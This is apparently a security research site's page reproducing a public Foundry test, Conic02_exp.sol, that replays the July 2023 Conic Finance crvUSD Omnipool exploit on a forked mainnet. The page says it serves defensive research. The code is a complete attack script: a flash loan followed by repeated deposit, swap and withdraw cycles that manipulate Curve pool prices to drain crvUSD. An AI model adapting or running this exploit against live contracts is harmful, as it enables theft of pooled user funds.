Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/Conic02_exp.sol

Public reproduction file for dataset entry Conic Finance 02.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Conic02_exp.sol130 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~934K USD$
8// Attacker : https://etherscan.io/address/0xb6369f59fc24117b16742c9dfe064894d03b3b80
9// Attack Contract : https://etherscan.io/address/0x486cb3f61771ed5483691dd65f4186da9e37c68e
10// Vulnerable Contract : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f
11// Attack Tx : https://etherscan.io/tx/0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e26860882
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f#code
16// @Analysis
17// Post-mortem : https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d
18// Twitter Guy : https://twitter.com/spreekaway/status/1682467603518726144
20interface IConicPool {
21 function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);
23 function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);
26interface IcrvUSDController {
27 function create_loan(uint256 collateral, uint256 debt, uint256 N) external payable;
29 function repay(uint256 _d_debt, address _for, int256 max_active_band, bool use_eth) external;
32contract ContractTest is Test {
33 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
34 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
35 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
36 IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
37 IERC20 cncCRVUSD = IERC20(0xB569bD86ba2429fd2D8D288b40f17EBe1d0f478f);
38 IConicPool ConicPool = IConicPool(0x369cBC5C6f139B1132D3B91B87241B37Fc5B971f);
39 IcrvUSDController crvUSDController = IcrvUSDController(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635);
40 ICurvePool crvUSD_USDT_Pool = ICurvePool(0x390f3595bCa2Df7d23783dFd126427CCeb997BF4);
41 ICurvePool crvUSD_USDC_Pool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);
42 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
44 function setUp() public {
45 vm.createSelectFork("mainnet", 17_743_470);
46 vm.label(address(USDT), "USDT");
47 vm.label(address(USDC), "USDC");
48 vm.label(address(crvUSD), "crvUSD");
49 vm.label(address(cncCRVUSD), "cncCRVUSD");
50 vm.label(address(ConicPool), "ConicPool");
51 vm.label(address(crvUSDController), "crvUSDController");
52 vm.label(address(crvUSD_USDT_Pool), "crvUSD_USDT_Pool");
53 vm.label(address(crvUSD_USDC_Pool), "crvUSD_USDC_Pool");
54 vm.label(address(Balancer), "Balancer");
55 }
57 function testExploit() external {
58 USDC.approve(address(crvUSD_USDC_Pool), type(uint256).max);
59 address(USDT).call(
60 abi.encodeWithSignature("approve(address,uint256)", address(crvUSD_USDT_Pool), type(uint256).max)
61 );
62 WETH.approve(address(crvUSDController), type(uint256).max);
63 crvUSD.approve(address(crvUSDController), type(uint256).max);
64 crvUSD.approve(address(crvUSD_USDC_Pool), type(uint256).max);
65 crvUSD.approve(address(crvUSD_USDT_Pool), type(uint256).max);
66 crvUSD.approve(address(ConicPool), type(uint256).max);
68 address[] memory tokens = new address[](3);
69 tokens[0] = address(USDC);
70 tokens[1] = address(WETH);
71 tokens[2] = address(USDT);
72 uint256[] memory amounts = new uint256[](3);
73 amounts[0] = 12_000_000 * 1e6;
74 amounts[1] = 80_000 ether;
75 amounts[2] = 9_000_000 * 1e6;
76 bytes memory userData = "";
77 Balancer.flashLoan(address(this), tokens, amounts, userData);
79 emit log_named_decimal_uint(
80 "Attacker crvUSD balance after exploit", crvUSD.balanceOf(address(this)), crvUSD.decimals()
81 );
82 }
84 function receiveFlashLoan(
85 address[] memory tokens,
86 uint256[] memory amounts,
87 uint256[] memory feeAmounts,
88 bytes memory userData
89 ) external {
90 crvUSDController.create_loan(80_000 ether, 93_000_000 ether, 10); // deposit WETH, borrow crvUSD
92 crvUSDToUSDCAndUSDT(19_000_000 ether, 27_000_000 ether); // swap crvUSD to USDT and USDC, crvUSD price reduction
93 ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false); // deposit crvUSD to ConicPool, add crvUSD to crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices reduced further
94 USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this))); // swap USDC and USDT to crvUSD, crvUSD prices increased, earn more crvUSD
95 ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0); // withdraw cncCRVUSD from ConicPool, remove crvUSD from crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices increased
97 sandWich();
98 sandWich();
99 sandWich();
101 crvUSD_USDT_Pool.exchange(1, 0, 9_000_000 ether, 0); // swap crvUSD to USDT
102 crvUSD_USDC_Pool.exchange(1, 0, 12_000_000 ether, 0); // swap crvUSD to USDC
103 USDC.transfer(address(Balancer), amounts[0] + feeAmounts[0]);
104 address(USDT).call(
105 abi.encodeWithSignature("transfer(address,uint256)", address(Balancer), amounts[2] + feeAmounts[2])
106 );
108 crvUSD_USDT_Pool.exchange(0, 1, USDT.balanceOf(address(this)), 0); // swap USDT to crvUSD
109 crvUSD_USDC_Pool.exchange(0, 1, USDC.balanceOf(address(this)), 0); // swap USDC to crvUSD
110 crvUSDController.repay(93_000_000 ether, address(this), int256(2 ** 255 - 1), false);
111 WETH.transfer(address(Balancer), amounts[1]);
112 }
114 function crvUSDToUSDCAndUSDT(uint256 swapAmount1, uint256 swapAmount2) internal {
115 crvUSD_USDT_Pool.exchange(1, 0, swapAmount1, 0); // swap crvUSD to USDT
116 crvUSD_USDC_Pool.exchange(1, 0, swapAmount2, 0); // swap crvUSD to USDC
117 }
119 function USDCAndUSDTTocrvUSD(uint256 swapAmount1, uint256 swapAmount2) internal {
120 crvUSD_USDC_Pool.exchange(0, 1, swapAmount1, 0); // swap USDT to crvUSD
121 crvUSD_USDT_Pool.exchange(0, 1, swapAmount2, 0); // swap USDC to crvUSD
122 }
124 function sandWich() internal {
125 crvUSDToUSDCAndUSDT(28_000_000 ether, 39_000_000 ether);
126 ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false);
127 USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this)));
128 ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0);
129 }

Analysis

Dataset entry

Public Foundry test for “Conic Finance 02” (2023-07-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb6369f59fc24117b16742c9dfe064894d03b3b80

  • Attack Contract

    0x486cb3f61771ed5483691dd65f4186da9e37c68e

  • Vulnerable Contract

    0x369cbc5c6f139b1132d3b91b87241b37fc5b971f

  • Attack Tx

    0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e26860882

File record

Name
Conic Finance 02
Path
src/test/2023-07/Conic02_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
30bd96b7abe0367f3e0950c4adc09465108e3238
Language
Solidity
Size
131 lines
Date
2023-07-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/Conic02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 30bd96b7abe0367f3e0950c4adc09465108e3238, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.